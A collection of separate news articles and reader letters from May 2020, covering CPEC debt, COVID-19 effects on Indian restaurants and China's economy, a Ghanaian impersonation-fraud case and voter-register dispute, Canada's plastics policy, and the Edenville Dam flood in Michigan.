The US' top diplomat for South and Central Asia Alice Wells on Wednesday said that at a time when the world is reeling from the economic consequences of having shut parts of the economy due to the coronavirus, it is really incumbent upon China to take steps to alleviate the burden this predatory, unsustainable and unfair lending is going to cause to Pakistan.

Responding to the remarks of Wells, who has been critical of the USD 60 billion China-Pakistan Economic Corridor (CPEC), Pakistan's Foreign Office said that its total public debt relating to the CPEC projects is less than even 10 per cent of the total debt.

Moreover, the public debt obtained from China has a maturity period of 20 years and the interest is 2.34 per cent.

If grants are included, the interest value slides down to about two per cent. The claims made by some of the commentators and public officials on Pakistan's debt obligations relating to the CPEC are contrary to the facts, it said in a statement.

The FO reiterated that the CPEC, a long-term project, helped address development gaps in energy, infrastructure, industrialisation and job creation.

Pakistan and China have several mechanisms to discuss matters of mutual interest. Both countries are regularly in touch to address those issues bilaterally, it said.

The CPEC, a flagship project of the Belt and Road Initiative (BRI) of China, is a transformational project contributing positively and transparently to Pakistan's national development, the FO said, adding it believes that the regional economic connectivity will provide a critical stimulus for creating a broad-based growth across the region.

The BRI is a multi-billion dollar initiative launched by Chinese President Xi Jinping when he came to power in 2013. It aims to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes.

India has protested over the CPEC which is being laid through Pakistan-occupied Kashmir.

The FO reiterated that Pakistan and China are All-Weather Strategic Co-operative Partners.

We are engaged in prompting peace, development and stability in the region based on the principles of mutual respect, mutual benefit, win-win cooperation and shared development. Our ties are based on deep mutual trust and understanding, it said.

On Thursday, the Chinese embassy here rejected the remarks of Wells, saying we need no teachers, especially a teacher like the US.

It said that China will "never force Pakistan to pay back debts" and that "China's loans have no strings attached".

The embassy also asked the US that it should not comment on China's ties with Pakistan as Beijing had no intention on commenting on Pakistan-US relations.

It said that the CPEC is an important cooperation project between the governments of China and Pakistan. It has always adhered to the principles of mutual benefit, win-win cooperation, openness and transparency.

"The planning and implementation of the projects are carried out by the two sides through thorough consultations based on equality and scientific study. The Chinese companies under the project are all leading companies in their respective sectors and operate in full compliance with local laws and regulations," the embassy said.

It claimed that the CPEC has so far brought USD 25 billion in direct investment and created more than 75,000 jobs in Pakistan, adding that China was the major source of foreign direct investment for Pakistan in the past five consecutive years.

"In the next stage of the project, both sides will strength cooperation on healthcare, industrial development, agriculture and education. The CPEC will give a new impetus to Pakistan's economic revival even in the post COVID-19 period, the embassy said.

Wells had also commented on the CPEC in November 2019, when she said that the project was harmful as it would take a toll on Pakistan's economy in the future.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The restaurant industry is one of the hardest hit by coronavirus-induced lockdown in the country. Massive layoffs are just the tip of the iceberg. Getting people back into restaurants and regaining their confidence once the lockdown is over is likely to be the next big hurdle in reviving the industry. The fear of COVID-19 among customers and a hesitation to spend might prove to be a death knell for eateries. Dining out is a social experience and with social distancing norms in place, industry insiders are mulling over how to get past this obstacle. As of now, the Restaurant Association is looking for urgent policy and liquidity help from the government.

Corona effect

The restaurant industry employs around 7.3 million people in the country, according a 2019 report of the National Restaurant Association of India. When lockdown began on March 24, all economic activity wound up but many restaurants had already started seeing lessening footfalls. The sector had been reeling under problems of its own even before the pandemic struck. The current GST regime added to the cost of running a restaurant. Currently, the industry is looking at losses of around Rs 1 lakh crore during the lockdown.

Battle for survival

Restaurants have never had it easy even before the pandemic. Real estate costs are high and now the current crisis has only worsened the situation for them. It is estimated that post lockdown, four out of 10 restaurants might close down for good. Consumers would be unwilling to pay considering that spending power will shrink. The effects of the battle to survive have already started taking shape. Bengaluru-based Swiggy is laying off 1,100 employees. Zomato has decided to cut strength by 13 per cent and cut up to 50 per cent salary of its employees with higher pay scale. CEO Deepinder Goyal said that the restaurant industry itself could shrink by 25 to 40 per cent in next 6 to 12 months. Not only the restaurant business, the future of cloud kitchens is also in doubt. Swiggy has already started shutting down cloud kitchens temporarily or permanently. The National Restaurant Association of India has warned that even 10-20 per cent job losses among its 7.3 million employees in restaurants across the country would mean up to 15 lakh unemployed.

Pakistan Plane Crash: PIA plane carrying 100 people onboard crashes near Karachi Airport

Food delivery

Most of the food business has now shrunk to home delivery services but is that enough to keep the industry afloat? There has been a 70 per cent fall in food delivery business itself. Food delivery apps had led to a boom in cloud kitchen services but those too are feeling the heat. Cloud Kitchens like Eat Fit are already looking for buyers. Experts believe food delivery business will take at least a year to get back to pre-lockdown levels, if not longer.

The future of dining

Restaurateurs have understood that the need of the hour is to innovate and be flexible about their offerings. Many restaurant brands have transformed into food delivery models. Bigger brands like Impresario's Smoke House Deli have introduced DIY meal kits. Ready-to-cook options are becoming popular during these times. Some fast food chains have also resorted to delivering groceries in a bid to survive during the lockdown.

Even as businesses in India are opening up, restaurants remain shut to the despair of owners who would take a long time to regain the confidence of customers. Human interaction remains at the centre of the restaurant business and taking it out of the equation would have adverse effects on the industry. Hygiene and contactless deliveries are already in place. Restaurants would further need to incorporate innovative ways of social distancing in the dine-in culture.

Infographic: How coronavirus has damaged job scene in India
This Saturday on The Daily, youll hear the sixth episode of Rabbit Hole. The tech columnist Kevin Roose explains how he convinced PewDiePie, one of the worlds biggest and most polarizing YouTube influencers, to sit down with him for an interview:

For about two years, I had a recurring monthly reminder set up on my Google Calendar: Ask for PewDiePie interview.

As a student of internet culture and someone who spends way too much time on YouTube, Ive been intrigued for years by the Swedish YouTube comedian PewDiePie (real name: Felix Kjellberg). Kjellberg is YouTubes biggest celebrity  and one of the most famous people in the world. He has more than 100 million subscribers and an intense fandom, known as the Bro Army, that hangs on his every word. (If youve never heard of PewDiePie, youre not alone, but youre also probably not under 25.) Hes also one of YouTubes most controversial creators, because of his history of edgy, crude humor. Anti-Semitic jokes he told on his channel once got him labeled by critics as an alt-right sympathizer and nearly blew up his career.

I wanted to profile him, badly, but there was a problem: He was aggressively hostile toward the mainstream media, which he said took him out of context and sensationalized its coverage of his channel. Over and over again, I emailed his publicist asking for an interview, and the answer always came back: No thanks.

Still, I kept asking. And finally, last year, I got a surprising call. Kjellberg wanted to talk. Just weeks earlier, the terrorist responsible for the mass shooting in Christchurch, New Zealand, had said PewDiePies name before entering a mosque and killing dozens of Muslims. Kjellberg was upset about being linked to such a horrible tragedy, so he invited me to his hometown  Brighton, a charming seaside city in Britain  to hear him out. It would be his first mainstream media interview in years and a rare chance to see him out of character.

A few days later  after convincing a few editors that landing an interview with PewDiePie, on my beat, was like getting an Oval Office sitdown with the president  I packed my bags and flew to London. I met Kjellberg at an Airbnb near his house, and we talked for hours about his controversies, his political beliefs and his war with the media.

It was a fascinating day, one that revealed to me how Kjellberg feels caught in a tug-of-war between his fans, who want him to push the limits, and the world outside YouTube, where he risks getting in trouble for crossing the line.
The Circuit Court in Accra presided over by His Honour Emmanuel Essandoh has granted bail in the sum of GHc12,000 to a Nigerian woman who impersonated some Ministers of state to defraud victims of over GHc10,000.

The accused person Vivian Sajida Imran, a trader who pleaded not guilty to all the charges in addition to her bail sum is to produce two sureties, one of whom must be a public servant earning not less than GHc1, 200.

The 31-year-old trader was granted bail after his lawyer had prayed the court for her to be admitted to bail.

The case has been adjourned to June 3, 2020.

Sajida, 31, together with her husband Prince Joel, currently at large have been charged with eight counts of falsely pretending to be a public officer and defrauding by false pretence.

Brief facts

The brief facts of the case as presented to the court by Detective Frederick Sarpong were that complainant is an operative of the National Security.

The First Accused person (A1) is a trader while A2 currently at large is the husband of A1.

According to the prosecutor, the victims in the case live across the country.

He said during the month of April A1 and A2 used the names of Kojo Oppong Nkrumah, Minister of Information, Shirley Ayorkor Botchway, Foreign Affairs Minister and Henry Quartey, the deputy national security minister to create multiple Facebook accounts and pretend to be ministers.

According to him, A1 and A2 in their online chats and phone calls with the victims informed them that they could secure them each with employment at the Tema Oil refinery, Ghana Gas or Cocobod.

Detective Sarpong said, A1 and 2 further requested the victims to pay various amounts to MTN mobile money accounts for the application forms and interviews.

The monies amounting to GHc10, 277.00 were paid to MTN mobile 0242774965 and 0551047196 and later transferred into A1s mobile money number 0248024471.

The honourable minister who later had a wind informed the National security and A1 and A2 were tracked to their house at Ashaiman Jericho where A1 was arrested but A2 managed to escape.

The prosecutor told the court that, a search conducted in the room of A1 and A2 revealed six mobile phones including the three mobile money numbers used to receive the monies from their victims.

He explained that an order of the court was sought and a forensic examination was carried out on the retained mobile phones. One of the retained mobile phones was found to contain MTN SIM number 0248024471 registered in the name of A1.

The same number was found to be the final destination where the booty obtained from the victims were transferred to and later withdrawn.

According to him, in the investigation caution statement of A1, she admitted being the owner of number 0248024471. The victims were later contacted and they narrated their ordeal.

Intensive efforts are being made to track A2 who is still at large. After investigation A1 was charged with the offence as stated on the charge sheet, he told the court.

---starerfmonline
The National Peoples Congress is due to unveil measures to cushion the economy from a historic virus-driven slowdown.

Chinas annual session of parliament  or the National Peoples Congress (NPC)  is hardly the worlds most exciting political event. In fact, it is usually highly predictable and frequently referred to as a rubber stamp of the Communist Partys latest policy proposals.

The biggest issue facing the people and government of China this year is, of course, the coronavirus pandemic and the devastation it has brought to the countrys economy. And most of the policies being proposed will be aimed at protecting people and companies from the plunge in economic activity in the first quarter.

One of the highlights of the NPC  which kicks off on Friday  in normal times is the governments target for the growth in its gross domestic product (GDP), the most commonly used measure of economic activity.

So what is the governments GDP growth target expected to be this year?

This is where things get interesting. Some economists say that because of the coronavirus, the government may abandon its growth forecast altogether.

There is  a good chance that the government may drop a numerical GDP growth target for 2020, which would be the first time in two decades, HSBCs China economists said in a report to clients earlier this month.

Why is that such a big deal?

Chinas central government uses its GDP growth target to determine a whole raft of economic policies, including how much to spend, what parts of the economy  be it helping the poor or building infrastructure  need the most attention, and which regions receive the most money.

When Premier Li Keqiang addresses the roughly 3,000 delegates at the congress  which has been shortened to about a week and delayed from March because of the outbreak  he would have to perform a delicate balancing act when it comes to proposing an economic growth target.

A target that is set too high would trigger a rush of spending by provincial officials to meet that goal, possibly raising debts to dangerous levels. If the target is too low, some could interpret that as an admission of failure.

Why would too low a growth target this year be seen as a failure of the government?

The pandemic could not have struck at a worse time for the central government in many respects. It had set itself the goal of doubling the size of the Chinese economy by this year compared with its level in 2010. But the closure of schools, factories, ports and the services sector between January and April has all but eliminated the possibility of it achieving that stated policy target.

Just how badly has the economy been damaged by the pandemic?

Figures released last month showed that Chinas GDP shrank in the first three months of this year compared with the same period in 2019. That was the first contraction since China began releasing quarterly GDP data in 1992.

Never mind the governments forecasts, what do other economists say Chinas growth rate is likely to be?

The average of a poll of economists by the Reuters news agency last month showed private-sector economists expect Chinas GDP to grow by 1.3 percent in the second quarter as shops, factories and offices slowly return to work. That would mean China will have narrowly avoided a recession, defined as two consecutive quarters of negative growth.

Over 2020 as a whole, Chinas economy is forecast to grow by 1.8 percent, the poll showed. That would be the weakest annual performance since 1976, the final year of Mao Zedongs Cultural Revolution, and less than one-third the 6.1 percent rate achieved in 2019.

Has the government ever missed its growth target in recent years?

Not really. This chart by Bloomberg shows that for most of the early part of this century, Chinas growth rate far exceeded its own forecasts.

Reports: National Bureau of Statistics GDP growth targets: *2000, 2002-04: About 7 percent *2001: 7 percent *2005-11: About 8 percent *2012: 7.5 percent *2013-14: About 7.5 percent *2015: About 7 percent *2016: 6.5-7 percent *2017-18: About 6.5 percent *2019: 6-6.5 percent [Bloomberg]

But much of that growth was funded by ever-larger amounts of debt, and it resulted in over-inflated prices of assets such as property, leading to a rise in inequality and the danger of social unrest. It was also largely fuelled by cheap exports, which angered its trading partners, most notably United States President Donald Trump who launched a trade war against Beijing soon after taking office.

So, over the last 10 years, China has tried to execute what economists call a soft landing, in other words, attempting to bring its growth rate down to more manageable levels without causing too much pain among people and companies.

So if the focus is not on GDP growth this year, what will dominate the NPCs economic agenda?

Beijing will likely emphasise the unemployment target this year, as it was added as a key target only in 2018, writes Houze Song, a research fellow at MacroPolo, the in-house think-tank of the Paulson Institute in Chicago.

Targeting employment rather than growth is a significant change, one that has been accelerated by the economic devastation from COVID-19, says Song.

The urban unemployment rate stood at 6 percent in April, down slightly from the record high of 6.2 percent at the peak of the coronavirus pandemic in China.

The high level of unemployment is likely to have a continued effect on private spending and investment, Pauline Loong, managing director of research consultancy Asia-Analytica told Al Jazeera.

As long as people feel that this virus is going to continue or that hasnt been contained, there is very little in the way of stimulus that the government can do, Loong said.

But even those figures could be understated. The Economist Intelligence Unit estimates unemployment could reach 10 percent this year, with about 250 million people experiencing wage cuts of between 10 percent and 50 percent.

What else is the government doing to boost the economy?

Alleviating poverty is likely to be another central theme of this years NPC. The government has set itself the ambitious task of eradicating absolute poverty  which it defines as people living on less than 2,300 yuan ($324) per year  by the end of 2020 and becoming what it describes as a moderately prosperous nation.

China is determined to complete the worlds biggest poverty-relief project as scheduled, the official Xinhua news agency said in a commentary last month.

Beijing is also trying to stimulate growth by spending heavily on infrastructure. But this does not just involve roads and railways. The governments so-called New Infra plan would see it expanding its 5G mobile phone networks, building a large data centre and electric car charging networks, and investing in artificial intelligence among other hi-tech projects.

Some analysts have their doubts about these plans.

Frankly, elements in the New Infra scheme are not brand new, with the exception of the big-data centre project, says Iris Pang, chief economist for Greater China at Dutch bank ING in a research note. The big-data centre idea seems to have emerged from the COVID-19 crisis, with many office workers forced to work from home.
Our greed has led to our dependence on China While the focus of trade issues with China is around our export market, the other side of the coin is the dependence upon, or desire for, imports from that country. I suspect that if every product manufactured in China was removed from the shelves at Bunnings, they would be rather empty stores. Our degree of greed for a reasonable product at the cheapest price has possibly led to this trade dependence. To quote, "lowest prices are just the beginning". Indeed. Greg Stark, Newtown Learning to live with a demanding "boss" Our relationship with China is a bit like an employee who works for a boss they do not like. We have to tolerate the situation because China bankrolls our national economic health. We can investigate other markets for our goods (look for another job, in the example of the employee) but we may have to live with the situation in the medium-term.

David Fry, Moonee Ponds Trade with nations with values akin to ours Thank you, Vicky Xiuzhong Xu, for your astute discussion of the need for Australia to stand up to the Chinese Communist Party. Australia should trade with countries that hold democratic values more akin to ours and stimulate local manufacture. Yet again the CCP under Xi Jinping has demonstrated an increasingly aggressive pursuit of its economic/political agenda using bullying tactics. Western democracies have played, and continue to play, into its strategic plan  witness their willingness to participate in the Belt and Road initiative. Our politicians and businesses have either been dazzled by greed or plain lazy, which has made Australia vulnerable to China's social/political whims. Henry Gaughan, Richmond

If only 'dump diplomacy' hadn't intervened Most countries face enormous battles restoring their economies after COVID-19. Australia has the great advantage of assured, major exports to a huge customer, China. We are a lucky country. Oops, Australia had the great advantage. Thanks to dumb diplomacy. Peter Busch, Geelong West THE FORUM So what else is new?

This "secret report" into the Catholic Church contains nothing new (The Age, 22/5). As a keen Catholic convert almost 20years ago, I was elected a lay representative on the pastoral council of a diocese to make recommendations to the bishop. I left the pastoral council and the entire Catholic Church after about seven years of labouring under the misapprehension that clerical power structures were open to genuine respect and regard for the laity. It was well known more than two decades ago that "the hierarchical nature of the church, coupled with its lack of governance, had created a culture of deferential obedience" in which incompetence and a multitude of abuses of power flourished. The clerical Catholic Church will never accept that it should be subject to democratic process or equality, or that female leadership is valid. It will never accept that any bishop or priest should be accountable to a "professional laity". The Archbishop of Brisbane's comment that this report's recommendations have "far reaching implications for the church's life and mission" sounds like a routine, paternal pat on the head for the faithful, who will be expected to continue to toe the deferential line. Michelle Goldsmith, Eaglehawk

The more things change Good God. Following the Royal Commission into Institutional Responses to Child Sexual Abuse, the Catholic Church ushers in a new period of enlightenment by hushing up its report on proposed church reforms. Mary Mack, Box Hill The gambling nightmare I was addicted to gambling for 35 years, and want to thank Carolyn Crawford for her article  "Leave the poker machines turned off" (Comment, 21/5).

I started gambling at the age of nine when a relative placed bets on the horses for me. At the age of 26, after losing my job and home to the addiction, I found myself committing armed robberies so I could gamble at Crown Casino while under the influence of drugs and alcohol. I ended up in prison. The pokies are the most insidious form of gambling as they are designed to strip you of all your money, let alone your dignity. I overcame my addiction and, for the past five years, have felt I have my life back. If any good can come from this COVID-19 lockdown, it will be that poker machines are not switched back or, at least, are programmed to do less harm. It may save a life. Ian Brett, West Heidelberg Fewer people, less mess I was amazed to see the cleanliness of public transport during recent travel to the city by train, then tram and finally on a bus. Even the seagulls at Frankston Station were unable to find their usual pickings on the trains. It is an ill wind that blows nobody any good.

Geoff Gowers, St Kilda West Holiday close to home Readers are calling for borders to be open (Letters, 22/5). I imagine a holiday north, away from the cold and into the warmer weather, would suit most of us. We would love to visit my mother-in-law for her 96th birthday but she (and we) knows this is not a sensible idea. Suggesting that Victorians should spend their tourist dollars in Queensland is insensitive when we have so many families without an income and unlikely to have a holiday any time soon. Instead, travel to Mildura or New South Wales. Or give some of those dollars to charities that are feeding people without any income. Sue Anson, Mount Macedon

Toughen up, Aussies There is so much whinging about the new restrictions affecting our lives that I wonder whether Australians of 2020 could cope with the changes World War II brought. Sons and husbands gone, air raid shelters in city streets, major upheavals to industry, tape and black paint on windows and more. Even us little kids  I was eight in 1940  were affected. The big kids, 11 and 12 years old, had dug slit trenches in the parks near school and each week we had a practice where we all hurried in orderly files to the allotted trenches. Each with our cloth bag containing a bottle of water, a cork on a string to clench between our teeth when bombs landed nearby and a bandage. And that was in Perth, Australia, not where millions experienced the real horrors. We had better adjust our clocks. Tony Blackmore, Brunswick Right to take legal action

Perhaps if businesses were a bit better behaved, there would not have been a a 325per cent rise in class actions in the Federal Court over the past decade (The Age, 22/5). One assumes they have a case to answer otherwise they would not get to court. I hope Labor and the Senate crossbenchers do what they can to stop changes to regulations that would deny people with limited means accessing the court system. Ann Maginness, Cheltenham Who'll pick the crops? Britain has an interesting problem, with its fruit and vegetable crops needing to be picked  "Pick crops 'for Britain', prince urges" (World, 21/5). The crops are normally picked by poorly paid, foreign workers in poor working conditions. But the borders are now closed and locals will not lower themselves to these standards. I expect Australia will face this very same dilemma in six months. It would be nice if this could be sorted ahead of time so that our crops are not left to rot in the fields as is happening in Britain.

Jeff Moran, Bacchus Marsh Keeping air miles down I echo Alex Mungall's point about unnecessary air flights (Letters, 22/5). I travelled as a health care professional to Canberra from Melbourne every month as part of my work on a remote site in the Snowys. I often spoke with fellow travellers who had a scheduled meeting that morning and would return to Melbourne that afternoon. Face-to-face interactions have a new vitality in some businesses during COVID-19 and I am guessing the emphasis will be on Zoom, Skype and the like. Suzanne Clarebrough, Wangaratta

Need to be informed Residents and councils need to be alert to the planned roll-out of pole-mounted, mobile-phone base station infrastructure close to residential properties. Telcos can avoid informing residents about the sitings, and radiofrequency radiation safety, of these installations by hiding behind federal "low impact" legislation. TPG has already rolled out installations with insufficient consultation with residents. While the need for such infrastructure to support mobile phone businesses is understood, this can be achieved by sharing existing sites or selecting new ones further away. People can check the status of planned installations on the Radio Frequency National Site Archive's website. However, more information is required to justify which alternative sites have been considered. TPG appears to have ignored residents' complaints. This is likely to alienate existing and potential customers. Affected residents should make their concerns known to their councils and federal MPs. Les Davey, radiocommunications engineer, Camberwell

Thin edge of the wedge If builders are permitted to start work at 6am on weekdays during this pandemic (The Age, 20/5), only the very naive would believe that this law will be repealed at some later date. Christine Hurwood, Newport Clean, quiet travel Keith Handscombe (Letters, 22/5) suggests buses should be constructed with electric motors and solar panels. It is recommended that during construction, a quiet room could be installed at the rear of the bus.

Doug Shapiro, Doncaster East A glorious instrument I love Golding's cartoons, but the reference to the sound of the recorder being something you would wish to stay four kilometres away (The Age, 20/5) from was yet another dig at this much maligned, beautiful instrument. However, being a recorder teacher I still had a jolly good laugh. Suzanne Palmer-Holton, president, Victorian Recorder Guild, Seaford AND ANOTHER THING

Environment What's "missing" (22/5) in the climate plan? The climate. Denise Stevens, Healesville Morrison needs look no further than Parliament House for all the gas he needs.

John Cain, McCrae Is Angus Taylor's policy just a lot more gas? Hans Paas, Castlemaine For a road map, this looks like spaghetti. Let's try everything without a specific direction. Carolyn Ingvarson, Canterbury

Scientists are seen as oracles during the pandemic, but out-of-touch academics with climate change. Rob Head, Princes Hill China Scotty from marketing should know that if you are trying to sell a product, it's best not to upset the buyer. Les Anderson, Woodend

China will do what it wants, when it wants to. It's unstoppable. John Rawson, Mernda One thing about China, it never wastes an opportunity. Ian Maddison, Parkdale As bat guano is used in Chinese traditional medicine (22/5), Kew residents have a nice little earner in Yarra Bend Park.

Ian Powell, Glen Waverley Mary Wise, (21/5) that "sleeping bear" is striding around the forest, slapping down and clawing at any critters that stand in its path or defend their own berry patch. Peter Rushen, Carnegie Furthermore I've made a barley soup, barley pie and barley cocktail. Yum.

Myra Fisher, Brighton East Can Carlton and Essendon MCC members (22/5) claim "hardship" based on their teams' performance? Andy Wain, Rosebud Did any women work on the Catholic Church's secret, 200-page report? Marie Nash, Balwyn
A parliamentary candidate of the National Democratic Congress (NDC) in the Bortianor-Ngleshie-Amanfrom constituency, Mr Alexander Ackuako, has said former President John Dramani Mahama will win the 2020 elections even if a new register of voters is compiled.

He said voters will recollect the good records of Mr Mahama, especially in the health sector, and reward him with a second chance.

Although he described plans by the Electoral Commission (EC) to compile a new roll for this years polls as baseless, he said on the Ghana Yensom show on Accra 100.5FM that the NDC will surmount any rigging plan by the governing party, and win the presidential and parliamentary polls.

Let me tell the NPP and the EC that with or without a new register, John Mahama will win the elections, he said, adding: I honestly dont know why the EC wants to change a register that is faultless.

For his part, Mr Gyasi Appiah, a communicator of the governing New Patriotic Party said the current register is flawed and must be changed.

He said the register is not fit for purpose.

The EC recently published safety measures to observe during its planned registration exercise amid the COVID-19 pandemic.

Meanwhile, the Director of Elections of the NDC, Mr Elvis Afriyie Ankrah, has said up to 93 per cent of eligible voters in the Upper East and Upper West regions of Ghana will be disenfranchised should the EC go ahead and rely on the Ghana card and passports as the only primary documents for registering people for the issuance of new voter ID cards,

According to Mr Afriyie Ankrah, the quest by the EC to register 18 million eligible voters within 40 days as the coronavirus pandemic ravages on, is impractical.

The EC has laid a Constitutional Instrument before Parliament seeking to make passports and Ghana cards the only primary documents that any eligible voter can use for registration for the voter ID card.

Speaking at a press conference on Thursday, 21 May 2020, Mr Afriyie Ankrah, however, said: Only about 6.5 million people have access to the NIA card, so far, and, therefore, wondered how the remaining several millions of eligible voters can be registered for the new voter ID card when they have no Ghana card.

The NIA could not dispute our claim that only 5.17 per cent and 6.36 per cent of the registrable population in the Upper West and Upper East regions, respectively, have been issued Ghana cards, as we speak.

So, Upper West, Upper East, Northern, Savannah, North-East, you look at the figures, 86 per cent, 84 per cent, 85 per cent and Upper East and Upper West 5.17 per cent and Upper East 6.36 per cent. So, the rest of the ninety-something per cent, what is going to happen to them? Are they not Ghanaians? Do they not deserve to be treated rightly, fairly and justly as anybody else? Do they have to go through the hustle of trying to find people to guarantee for them with all its delays and frustrations? he asked.

He said the ECs reliance on the Ghana card for the registration, which, according to him starts next month, will sideline over 93 per cent of eligible voters in these two regions, which are strongholds of the NDC.

So, take note of that because when we speak, they say where is the conspiracy. So, by strange, accidental reason, [in] the strongholds of the NDC, you have a situation where 93 per cent of eligible voters in these two regions would not have access to their cards.

And they have to resort to the secondary method of vouching as the norm rather than the exception. Is it fair, is it right? Are you creating a level playing field?

The big question, therefore, is: why would the Jean Mensa-led EC rely on an identification card, Ghana card, whose issuance is largely incomplete, and fraught with several anomalies and demographic disparities? Why is the Jean Mensa-led EC excluding from the list of registration requirements under the proposed C.I., their own widely available and acceptable voter ID card and rather including the Ghana card, which is currently possessed by just about 6.5 million Ghanaians who are 18 years and above? A card which is currently not accepted by any public, private or commercial institution.

You go to the banks today; they dont accept Ghana cards. So, why would they insist, after telling the whole public that they are going to use the old card and then surreptitiously, they go and remove the card and then now insist on a Ghana card, which the majority of the citizens do not have?

The commonsensical question that is begging for an answer is: why the Jean Mensa-led EC excluded the exiting voter ID card from the list of registration requirements provided under the proposed C.I. Why have they excluded an ID card that has been upheld by the Supreme Court, as the best prima facie of voter eligibility. This is a decided case by the Supreme Court; that is law. When a Supreme Court makes a proclamation, it is akin to law.

So, is the EC above the law? Can they do whatever they want? And theyll quote: Were an independent institution. [An] independent institution must be within the confines of the law and reason and commonsense. And if you are given power, the Constitution says that power must not be used in an arbitrary manner  Article 298. You must not use that power capriciously, whimsically, arbitrarily, and in a biased manner. Is this not whimsical, arbitrary and biased way of doing things?

The EC recently said it will observe all the necessary safety measures to curb the spread of the coronavirus pandemic when it begins compiling a new register of voters.

All stakeholders are hereby reminded that plans are far advanced for the compilation of a new voter register with a new voter management system for the upcoming 2020 presidential and parliamentary elections, the EC said in a statement on Monday, 11 May 2020 signed by Acting Public Affairs Director Sylvia Annor, adding: The Commission is, however, sensitive to the current state of affairs due to the COVID-19 pandemic and will abide by the necessary precautions and safety protocols in the execution of its mandate when it deems it appropriate to begin the compilation of the register.

It further noted: As stated in Article 36 of the 1992 Constitution, the EC would like to reiterate that it shall not be subject to the direction or control of any person or authority in the performance of its functions, except as provided for in the Constitution or any other law consistent with it.

---citinewsroom
COVID-19 is threatening to upend one of Justin Trudeaus key environmental promises: tougher restrictions on plastics and chemicals.

The Canadian prime minister announced plans to phase out single-use items like straws and plates last summer, joining governments in Europe, India and California. The ban, which is still intended to take effect in 2021, featured prominently in his Liberal Partys campaign platform for the fall election that saw Trudeau returned to power in part because of his appeal to green-minded voters.

But the coronavirus has brought plastics back into favour. Manufacturers cant produce personal protective equipment fast enough, including disposable gloves, masks, wipes and bottles of hand sanitizer. Most of it isnt recyclable and crumpled up gloves and masks have become a common sight outside grocery stores and other retail locations, particularly as Canadian provinces begin to ease lockdown orders.

This current pandemic is another example of our lack of reusable options, Sarah King, head of Greenpeace Canadas oceans and plastics campaign, said by phone from Vancouver. There are alternatives in all cases to plastic and that is what the government needs to be focusing on right now.

Trudeaus team has yet to find a solution to the issue and recognizes that increased single-use plastic waste will be a challenge for Canada  and the rest of the world  thanks to the coronavirus.

A press secretary to Environment Minister Jonathan Wilkinson said Thursday the plastics ban remains on track but that considerations arising from COVID-19 will be factored in to the specifics of the rollout.

With Canadians focused on staying healthy and keeping their jobs, banning plastic straws is hardly top-of-mind right now. But Trudeaus legacy will be defined by how he balances his lofty campaign promises with the realities of governing amid an unprecedented economic and public-health crisis.

The proof will be in the pudding, King said, citing lingering doubts about the prime ministers green credentials after his 2018 nationalization of the Trans Mountain crude-oil conduit. The federal government is notorious for saying they want action on climate change and then buying a pipeline.
When the Edenville Dam along the Tittabawassee River in Midland County failed Tuesday evening, it sent an overwhelming amout of water into the Village of Sanford, causing extensive damage.

However, the state of the city  its drinking water, services and more  has largely been unannounced.

On Thursday, May 21, residents and owners began to return to their homes and businesses in Sanford to assess damage after having to evacuate. Several feet of quick-moving water had kept them away, prohibiting many from grabbing valuables or making any preparations. When they returned, windows were broken, walls caved in, furniture and valuables destroyed, and everything was covered in a layer of thick, silty mud.

Nosey neighbors, restoration crews, TV news stations and residents of Sanford paraded around the downtown area on South Saginaw Road Thursday. Merchants loitered around their own businesses and some attempted to take inventory of what is salvageable. (Not much is.)

Many reported the water was up to their ceilings; they can tell because of the muddy film left behind. Though for the business owners whose walls gave way to the water, it hardly matters.

Owner of Sanford Pizza, Pam Riggie, said her eatery of seven years is a total loss, the back of the building blown out and open to the elements. She said she was at the eatery every day  more than her own home  so there were many personal items lost. The only things she was able to save were a few sentimental items including pictures, a glass pig gifted by a customer, and her fathers ashes.

Im overwhelmed  I dont even know right now, Riggie said about how she was feeling. I dont even know what to do or where to start.

Still, Riggie said Sanford is the best community and back and forth conversations with passersby and those checking in demonstrate the community morale of Sanford.

Im hoping that we can all pull together and bring it back up to Sanford, you know Riggie said. Its a strong community. And its not just us  its everybody.

Another business owner, Connie Methner, pulled items out from inside her quaint salon, CJs Hairstyling, which had been fully submerged after 34 years of serving the community. Plastic buckets outside are filled with muddy hairbrushes, hairspray cans and towels. Methner said the one thing on her mind during the flood was a picture of one of her sons as an infant, which she was able to find in decent condition.

Believe it or not, those pictures of my kids were the only thing knee-jerking me and when I got them, I balled my eyes out, she said.

Now, she said unless financial relief is handed down from the Federal Emergency Management Agency (FEMA), she wont be able to bring the business back to life. To her, its like being in an episode of The Twilight Zone or on a set of a Hollywood movie.

Ive been out of work for two months and now this, she said. ... Im 63 years old  I cant take out what savings I have to live on for the rest of my life; (I) cannot build a business.

Down the road in a neighborhood along Sanford Lake near US-10, Clay Holmes stood on his now very muddy lawn. A day ago, the water was higher than it ever usually is, creeping over the grass, and now on Thursday, Holmes looked out over a nearly barren lake, sand exposed.

He said the day prior, he watched as boats, docks and other debris floated down the river, which was as tall as the highway bridge.

It was definitely scary watching the water come up as fast as it was and just seeing stuff that people loved going down the lake, he said. No one had time to be getting boats out, obviously, or lifts out, and now its just gone down the river.

Holmes said he hopes the dams and berms are repaired as soon as possible to return the lakes back to a normal state.

I hope everybody is kind of together in the sense of wanting to get things back to how they were, he said.

Down the road, neighbor Becky Scherf and her family moved all the contents of their basement to the lawn to sort through and dry  records, photos, clothing and more. She said the water was so forceful, it came up into the basement through pipes.

Monday night, Sandford native Matt Smith and his wife were told by law enforcement to evacuate in the middle of the night from their dream home they had purchased less than a year ago. It was less than two miles from the Edenville Dam.

He said they threw some clothes in a bag and left, returning the next day to strap down their boats and dock while the water continued to rise. Then the dam failed and broke, and the Smiths were evacuated by first responders for a second time. They grabbed their pets and packed bags and left.

Flooded roads made it a challenge to get back to their house  taking hours longer than it should have. Though, due to the height of their home on a hill, the Smiths didnt imagine the house would be flooded. Smith said he is a realtor for the area and regularly attends the Four Lakes Task Force meetings, but still he never imagined his home was in danger of flooding.

When they arrived, the debris line from the water said otherwise.

The height of that water was unbelievable, he said.

Sure enough, the water had cleaned out the inside of their basement, leaving it full of mud. The boat, docks, hoist and landscaping were gone with the water; the week old irrigation system ruined. Now, the Smiths are spending time cleaning out their basement, keeping an optimistic outlook.

However, Smith said he is unsure what the future holds and whether there will be any financial relief from their insurance, since they dont live in a floodplain.

We dont know where were going to be financially and we dont know when things will be fixed and back to normal again, he said. We dont know exactly when well be able to start living in our house again.

